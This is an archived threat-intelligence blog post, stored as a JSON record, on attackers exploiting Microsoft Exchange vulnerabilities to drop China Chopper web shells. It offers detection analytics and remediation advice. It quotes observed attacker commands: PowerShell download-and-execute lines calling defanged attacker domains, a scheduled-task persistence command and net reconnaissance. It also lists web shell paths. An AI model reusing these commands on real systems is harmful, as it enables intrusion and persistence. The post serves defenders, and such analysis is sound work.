{
	"id": "c4489e9b-ac73-4886-9d87-8f73a79c693c",
	"created_at": "2026-04-06T00:09:01.306933Z",
	"updated_at": "2026-04-10T03:35:48.586341Z",
	"deleted_at": null,
	"sha1_hash": "384036034ea0c0b8565bb5f9bae56d2cb7766c29",
	"title": "Microsoft Exchange attacks: how to detect, mitigate, and stay calm",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 116613,
	"plain_text": "Microsoft Exchange attacks: how to detect, mitigate, and stay calm\r\nBy susannah.matt@redcanary.com\r\nArchived: 2026-04-05 16:54:33 UTC\r\nMicrosoft Exchange server exploitation: how to detect, mitigate, and stay calm\r\nMicrosoft Exchange server exploitation: how to detect, mitigate, and stay calm\r\nRed Canary Intel is tracking multiple activity clusters exploiting vulnerable Microsoft Exchange servers to drop\r\nweb shells, including one we’ve dubbed “Sapphire Pigeon.”\r\nOriginally published March 9, 2021. Last modified October 2, 2024.\r\nNews broke last week that suspected state-sponsored adversaries have developed exploits for multiple zero-day\r\nvulnerabilities in Microsoft Exchange server—and that they are leveraging those exploits to conduct targeted\r\nattacks against an unknown number of organizations around the world. While Microsoft initially attributed these\r\nattacks to a suspected Chinese state-sponsored group that it calls “HAFNIUM,” over the last few days it’s become\r\nclear that numerous activity clusters are exploiting these vulnerabilities.\r\nOn February 28, a few days before the release of Microsoft’s security bulletin, we started to observe a noticeable\r\nincrease in suspicious web shell activity emanating from Microsoft Exchange servers. In the week that’s passed\r\nsince, we’ve issued dozens of potentially related threat detections. We do not know for certain whether all of the\r\nmalicious activity we’re seeing is the result of adversaries targeting the vulnerabilities that Microsoft addressed in\r\nits security bulletin last week, but we assess that it’s likely, based on the timing and victimology. The analytics that\r\nhave helped us detect these intrusions—and, to some extent, the remediation process for cleaning up after a\r\nsuccessful compromise—are relevant for detection and remediation of web shells and post-exploitation activity in\r\ngeneral, regardless of whether it’s related to the recently patched vulnerabilities or not.\r\nThere’s been a deluge of reporting (some of which we link at the end of this post) on HAFNIUM and other\r\nadversaries exploiting four vulnerabilities affecting on-premises Exchange server systems (CVE-2021-26855,\r\nCVE-2021-26857, CVE-2021-26858, and CVE-2021-27065). As is so often the case, these reports can be\r\noverwhelming in the aggregate. We’re sharing our experience and guidance to help others make sense of how to\r\ncluster, detect, and remediate activity potentially related to the above vulnerabilities. We’ve broken things down\r\ninto three sections, depending on what you’re looking for:\r\nThe different clusters of threat activity we’re seeing\r\nThe detection analytics we’ve used to detect them\r\nThe simple remediation steps you can take to start to remove this activity from your environment if you\r\nfind it, whether you’re a single administrator or a mature security team.\r\nMultiple activity clusters\r\nhttps://redcanary.com/blog/microsoft-exchange-attacks\r\nPage 1 of 10\n\nAs we’ve begun analyzing the flurry of web shells stemming from suspected Exchange exploitation, we’ve\r\nnoticed a few clusters of activity based on different TTPs and web shell names. Because none of these clusters\r\noverlap significantly with what Microsoft reported on as HAFNIUM, we are tracking them separately. We don’t\r\nknow who is behind these clusters—we aren’t sure if it’s the same adversaries working together or different\r\nadversaries completely. We’re focusing narrowly on what we observe on victim servers for our clustering.\r\nOther organizations are tracking different clusters as well. FireEye shared information about three “UNC”\r\n(uncategorized) clusters, and Unit 42 shared analysis of different patterns they have observed in recent China\r\nChopper web shells. Because each organization has different visibility and methodology, it makes sense for\r\neveryone to track their own clusters to meet their team’s requirements.\r\nThe initial “random-eight-character” China Chopper cluster\r\nFrom February 27 through at least March 3, we noticed a cluster of activity in which the China Chopper web shell\r\nwas dropped onto Exchange servers in the directory `C:\\inetpub\\wwwroot\\aspnet_client\\system_web`. The web\r\nshell `.aspx` files would be named with eight random alphanumeric characters, for example:\r\nc:\\inetpub\\wwwroot\\aspnet_client\\system_web\\zxvt0lpt.aspx\r\nc:\\inetpub\\wwwroot\\aspnet_client\\system_web\\r07azcq5.aspx\r\nc:\\inetpub\\wwwroot\\aspnet_client\\system_web\\dvgippna.aspx\r\nC:\\inetpub\\wwwroot\\aspnet_client\\system_web\\xpy07b5a.aspx\r\nFollowing the web shell file being dropped, we then observed follow-on activity that occurred some time between\r\na few hours and a few days later. Though the exact eight-character web shell filename differed, the following\r\ncommands were consistent across multiple victims:\r\n\"cmd\" /c cd /d \"C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\system_web\"\u0026net group \"Exchange Organization administrator\r\nThe string \u0026echo [S]\u0026cd\u0026echo [E] appears to be unique to the China Chopper web shell, based on previous\r\nresearch from FireEye and others.\r\nSapphire Pigeon\r\nOn March 5, we noticed a unique cluster of activity across multiple environments that didn’t match what we had\r\nwe had previously seen—either in our own detections or in public reporting around these incidents. Since we use\r\ncolors and birds for our activity clusters, we named this one “Sapphire Pigeon.”\r\nhttps://redcanary.com/blog/microsoft-exchange-attacks\r\nPage 2 of 10\n\nThis Sapphire Pigeon cluster also started with likely China Chopper web shells, but the filenames were not eight\r\nrandom characters. Adding to the complexity, we observed adversaries dropping multiple web shells on some\r\nvictims, including the following filenames (note that these are not unique to the Sapphire Pigeon cluster on their\r\nown):\r\nc:\\program files\\microsoft\\exchange server\\v15\\frontend\\httpproxy\\owa\\auth\\redirsuiteserverproxy.aspx\r\nc:\\inetpub\\wwwroot\\aspnet_client\\supp0rt.aspx\r\nc:\\inetpub\\wwwroot\\aspnet_client\\shell.aspx\r\nc:\\inetpub\\wwwroot\\aspnet_client\\load.aspx\r\nC:\\inetpub\\wwwroot\\aspnet_client\\discover.aspx\r\nInterestingly, these shells were dropped on victims at different times, some days before we observed any follow-on activity. We have seen these same web shell names show up on many other machines in the absence of other\r\nSapphire Pigeon indicators, so we’ve determined that these filenames alone are not sufficient to distinguish\r\ndistinct clusters.\r\nHowever, we observed unique follow-on activity after the web shells were dropped that we decided were useful\r\nfor clustering. Sapphire Pigeon exhibited the following unique patterns, which we tweeted about on afternoon of\r\nMarch 5:\r\nUse of encoded PowerShell to connect to a remote host. powershell.exe was a child of cmd.exe , which\r\nspawned from w3wp.exe . (Check out the detection opportunities section below!)\r\nDecoded command line:\r\nIEX (New-Object\r\nNet.WebClient).downloadstring('hxxp[:]//p.estonine[.]com/p?e')\r\nCreation of a scheduled task named Winnet :\r\nhttps://redcanary.com/blog/microsoft-exchange-attacks\r\nPage 3 of 10\n\n\"C:\\Windows\\system32\\schtasks.exe\" /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr \"powershell -ep bypass -\r\nDecoded base64 command line string:\r\nIEX (New - Object Net.WebClient).downloadstring('hxxp[:]//cdn.chatcdn[.]net/p?hig210305')\r\nSapphire Pigeon activity overlaps significantly with activity reported by Carbon Black TAU in July 2019,\r\nincluding use of the domains p.estonine[.]com and cdn.chatcdn[.]net as well as the scheduled task name Winnet .\r\nHowever, unlike what Carbon Black previously observed, we did not observe DLTMiner being dropped as a\r\nfollow-on payload. Huntress Labs also observed similar activity. In their analysis of follow-on payloads, they\r\nidentified highly obfuscated PowerShell as well as Mimikatz, but there has been no indication of DLTMiner being\r\ndelivered.\r\nOther activity that didn’t cluster\r\nWe’ve also seen other web shell activity that we haven’t clearly been able to cluster. We want to have significant\r\noverlaps on multiple unique data points to cluster activity, and in some cases, we don’t have that. We don’t\r\nconsider the following web shell filenames unique enough on their own to cluster with anything else right now,\r\nthough we will likely identify new clusters over time. Here are a few of the many web shell names we’ve seen for\r\nreference (it appears the web shell names change frequently, so we don’t recommend relying solely on these—\r\nmore durable detection opportunities are below!):\r\nc:\\program files\\microsoft\\exchange server\\v15\\frontend\\httpproxy\\owa\\auth\\outlooken.aspx\r\nc:\\program files\\microsoft\\exchange server\\v15\\frontend\\httpproxy\\owa\\auth\\outlookzh.aspx\r\nc:\\program files\\microsoft\\exchange server\\v15\\frontend\\httpproxy\\owa\\auth\\outlookus.aspx\r\nc:\\inetpub\\wwwroot\\aspnet_client\\system_web\\4_0_30319\\err0r.aspx\r\nc:\\program files\\microsoft\\exchange server\\v15\\frontend\\httpproxy\\owa\\auth\\error.aspx\r\nc:\\program files\\microsoft\\exchange server\\v15\\frontend\\httpproxy\\owa\\auth\\front.aspx\r\nDetection opportunities\r\nGiven our endpoint-centric visibility, it’s difficult for us to determine without doubt the initial infection vector for\r\nall recent intrusions targeting Exchange servers. However, we’ve been able to consistently detect the abnormally\r\nhigh volumes of web shell activity over the last week or so with just a handful of detection analytics. The analytics\r\nare useful across the activity clusters described above, and we developed most of them prior to the start of this\r\nExchange server exploitation activity, so these should be useful beyond just this activity.\r\nIIS worker process spawning cmd.exe and net.exe\r\nThis first detection opportunity identifies instances of the Windows IIS worker process ( w3wp.exe ) spawning the\r\nWindows Command Processor ( cmd.exe ) and using net commands for initial reconnaissance purposes. You can\r\ndetect this by looking for a process that appears to be w3wp.exe spawning a process that appears to be cmd.exe ,\r\nwhich then spawns a process that appears to be net.exe . Looking for this process lineage is helpful because we\r\nhave observed the specific net commands can differ from one victim to the next.\r\nhttps://redcanary.com/blog/microsoft-exchange-attacks\r\nPage 4 of 10\n\nIIS worker process spawning cmd.exe with echo\r\nA similar analytic that’s been helpful in detecting web shells is one that identifies a chain of execution from a\r\nWindows IIS worker process ( w3wp.exe ) spawning the Command Processor ( cmd.exe ) and using the echo\r\ncommand to send data back to a web shell. You can alert on this activity by looking for a process that is\r\nw3wp.exe spawning cmd.exe in tandem with a command line that includes the term echo . As noted above, the\r\nstring \u0026echo [S]\u0026cd\u0026echo [E] appears to be unique to China Chopper.\r\nIIS worker process writing .asp and .aspx files\r\nAnother solid behavioral analytic looks for instances of the Windows IIS worker process (`w3wp.exe`) writing\r\nfiles that are typically associated with executable web server code to disk. Of all the detection ideas here, this one\r\nmight be the most likely to generate false positives, so be prepared to tune this as needed. Narrowing down file\r\npaths where these files are written is a useful way to help refine this analytic. You can detect these behaviors by\r\nhttps://redcanary.com/blog/microsoft-exchange-attacks\r\nPage 5 of 10\n\nlooking for the execution of a process that appears to be `w3wp.exe` along with the creation of files with webfile\r\nextensions like `.asp` and `.aspx` in any of the following file paths:\r\ninetpub\\wwwroot\\aspnet_client\r\nFrontEnd\\HttpProxy\\owa\\auth\r\nWe recommend this approach to look for web shell files because we’ve observed that so many different web shell\r\nfile names have been used. These two file paths are the most common ones we have observed, so we want to focus\r\non those for simplicity’s sake, though other file paths are used as well. Check out the resources linked at the end of\r\nthis for additional file paths other teams have observed.\r\nIIS worker process spawning cmd.exe and powershell.exe\r\nWe now move on to detection opportunities for post-exploitation behavior we’ve observed after the initial web\r\nshells being dropped. In our Sapphire Pigeon cluster, we observed the adversary leveraging the IIS Worker process\r\n( w3wp.exe ) to spawn the Command Processor in a manner that’s consistent with web shell activity. You can\r\ndetect this activity by monitoring for a chain of process executions from a Windows IIS worker process\r\n( w3wp.exe ) that spawns a process that appears to be the command processor ( cmd.exe ), which, in turn,\r\nlaunches PowerShell ( powershell.exe or pwsh.exe ). The following image shows activity we’ve observed with\r\nthe cluster we call Sapphire Pigeon, but this analytic could help detect other malicious behavior as well:\r\nScheduled task execution with create and powershell\r\nOne detection opportunity is to alert on a process that appears to be schtask.exe executing with a corresponding\r\ncommand line that includes create and powershell . The following image shows Sapphire Pigeon activity, but\r\nthis analytic is useful beyond detecting just that cluster:\r\nhttps://redcanary.com/blog/microsoft-exchange-attacks\r\nPage 6 of 10\n\nAdditional post-exploitation detection opportunities\r\nWhile we wanted to focus detection opportunities on what we have observed recently, there are a wealth of other\r\nopportunities to detect any follow-on post-exploitation activity that might occur after these web shells are\r\ndropped. For more opportunities, check out the 2020 Threat Detection Report, this blog post, or the many\r\nexcellent resources from other teams at the end of this post.\r\nRemediation advice\r\nOnce you’re able to hunt for or otherwise detect web shell activity, you have to be able to then remediate it.\r\nThe first and most important remediation step that anyone can take is to patch their vulnerable Exchange servers\r\nimmediately. You can do so by applying the March 2021 Exchange Server Security Updates issued by Microsoft\r\nfor Exchange 2013, 2016, and 2019. Even if you are on an older Cumulative Update, Microsoft released security\r\nupdates to protect against these specific vulnerabilities only. We also recommend using the Microsoft Support\r\nEmergency Response Tool (MSERT) to scan the Exchange server per guidance.\r\nIf you cannot patch your Exchange system, Microsoft also published recommendations to create IIS rewrite rules,\r\ndisable Unified Messaging services, and disable multiple IIS application pools. These stopgap measures will likely\r\naffect the availability of your Exchange services internally and externally, depending on what features your\r\norganization uses. Administrators should not implement these as permanent mitigations.\r\nHowever, patching alone is not enough to handle this! You also need to look for any signs of compromise on\r\nyour server.\r\nLooking for signs of compromise\r\nIf your Exchange server was unpatched and exposed to the internet, you should assume compromise. We advise\r\ntaking these systems offline briefly to perform an investigation. In every incident we’ve seen so far there have\r\nbeen web shells dropped into the filesystem, and in some incidents, we’ve observed adversaries using scheduled\r\ntasks for persistence as well as other follow-on activity. Even if you don’t have a large security team, you can\r\nhttps://redcanary.com/blog/microsoft-exchange-attacks\r\nPage 7 of 10\n\nperform these steps to start remediation. While we don’t expect any of these actions to cause harm to a server,\r\nbefore deleting any artifacts from a server, we recommend ensuring they are not critical for your server to operate.\r\nDuring the downtime you should evaluate possible persistence mechanisms using Sysinternals Autoruns if you do\r\nnot have any other security tools to do so. Disable or remove any scheduled tasks or autorun Windows Registry\r\nKeys that are seemingly suspicious or malicious for your environment. The persistence mechanisms will likely\r\nexecute PowerShell code or an executable binary uploaded by the adversary.\r\nIn addition, evaluate the ASP/ASPX files under c:\\Inetpub\\wwwroot\\aspnet_client and \u003cExchange\r\nInstallation\u003e\\FrontEnd\\HttpProxy folders and subfolders. To evaluate whether the content you find there might\r\nbe malicious, compare it to these baselines created by the Microsoft Exchange team. Anything that is not in that\r\nbaseline should be considered suspicious and should be removed if your organization cannot determine a\r\nlegitimate need for it.\r\nIf you find suspicious ASP/ASPX files under the above folders, remove them from the disk. Some adversaries\r\nhave also dropped executable (.exe) files within the folders. Examine any such EXEs with caution and remove any\r\nEXE files that are not part of the baseline from disk if your organization cannot determine a legitimate need for\r\nthem.\r\nAn additional step to take would be to examine processes currently executing using Sysinternals Process Explorer.\r\nWhile there are many public resources on identifying malicious processes with Process Explorer, based on what\r\nwe’ve seen in these incidents, we recommend focusing specifically on recently spawned PowerShell processes\r\nthat have encoded command lines or URLs inside the command lines. An excellent example of Process Explorer\r\nfor this use was covered in this blog post, and image from which we show below.\r\nhttps://redcanary.com/blog/microsoft-exchange-attacks\r\nPage 8 of 10\n\nFinally, before making the server accessible to the internet again, apply the relevant patches to prevent further\r\nexploitation.\r\nThese are simple steps that we hope anyone can take on servers they suspect are vulnerable or compromised. If\r\nyou identify suspicious files, there is a possibility additional post-exploitation activity could have occurred. A full\r\nresponse would involve following recommendations such as those provided by CISA. However, we realize not all\r\norganizations have the expertise or resources to do this, so the above steps are a starting point for remediation if\r\nyou cannot perform further investigation and response.\r\nOther resources\r\nMany other teams are putting out great research on this, so we wanted to highlight some of that here if you’re\r\nlooking for more info:\r\nMicrosoft\r\nHAFNIUM targeting Exchange Servers with 0-day exploits\r\nMultiple Security Updates Released for Exchange Server\r\nMicrosoft Exchange Server Vulnerabilities Mitigations\r\nMarch 2021 Exchange Server Security Updates for older Cumulative Updates of Exchange Server\r\nFireEye\r\nhttps://redcanary.com/blog/microsoft-exchange-attacks\r\nPage 9 of 10\n\nDetection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities\r\nVolexity\r\nOperation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities\r\nCrowdStrike\r\nHow Falcon Complete Stops Microsoft Exchange Server Exploits\r\nHuntress Labs\r\nTwitter thread by Kyle Hanslovan \r\nMicrosoft Exchange Incident “China Chopper” ASPX Webshell filenames\r\nAnalysis – Post-Exploitation from Microsoft Exchange HAFNIUM\r\nCISA\r\nMitigate Microsoft Exchange Server Vulnerabilities | CISA\r\nUnit 42\r\nAnalyzing Attacks Against Microsoft Exchange Server With China Chopper Webshells\r\nDisclaimer: The information in the Red Canary Blog is made available for educational purposes only. This blog\r\nand the content contained within it should not be used as a substitute for competent professional advice from a\r\nsecurity professional familiar with your environment.\r\nRelated Articles\r\nSubscribe to our blog\r\nYou'll receive a weekly email with our new blog posts.\r\nSource: https://redcanary.com/blog/microsoft-exchange-attacks\r\nhttps://redcanary.com/blog/microsoft-exchange-attacks\r\nPage 10 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://redcanary.com/blog/microsoft-exchange-attacks"
	],
	"report_names": [
		"microsoft-exchange-attacks"
	],
	"threat_actors": [
		{
			"id": "7c969685-459b-4c93-a788-74108eab6f47",
			"created_at": "2023-01-06T13:46:39.189751Z",
			"updated_at": "2026-04-10T02:00:03.241102Z",
			"deleted_at": null,
			"main_name": "HAFNIUM",
			"aliases": [
				"Red Dev 13",
				"Silk Typhoon",
				"MURKY PANDA",
				"ATK233",
				"G0125",
				"Operation Exchange Marauder"
			],
			"source_name": "MISPGALAXY:HAFNIUM",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "2704d770-43b4-4bc4-8a5a-05df87416848",
			"created_at": "2022-10-25T15:50:23.306305Z",
			"updated_at": "2026-04-10T02:00:05.296581Z",
			"deleted_at": null,
			"main_name": "HAFNIUM",
			"aliases": [
				"HAFNIUM",
				"Operation Exchange Marauder",
				"Silk Typhoon"
			],
			"source_name": "MITRE:HAFNIUM",
			"tools": [
				"Tarrask",
				"ASPXSpy",
				"Impacket",
				"PsExec",
				"China Chopper"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "529c1ae9-4579-4245-86a6-20f4563a695d",
			"created_at": "2022-10-25T16:07:23.702006Z",
			"updated_at": "2026-04-10T02:00:04.71708Z",
			"deleted_at": null,
			"main_name": "Hafnium",
			"aliases": [
				"G0125",
				"Murky Panda",
				"Red Dev 13",
				"Silk Typhoon"
			],
			"source_name": "ETDA:Hafnium",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434141,
	"ts_updated_at": 1775792148,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/384036034ea0c0b8565bb5f9bae56d2cb7766c29.pdf",
		"text": "https://archive.orkl.eu/384036034ea0c0b8565bb5f9bae56d2cb7766c29.txt",
		"img": "https://archive.orkl.eu/384036034ea0c0b8565bb5f9bae56d2cb7766c29.jpg"
	}
}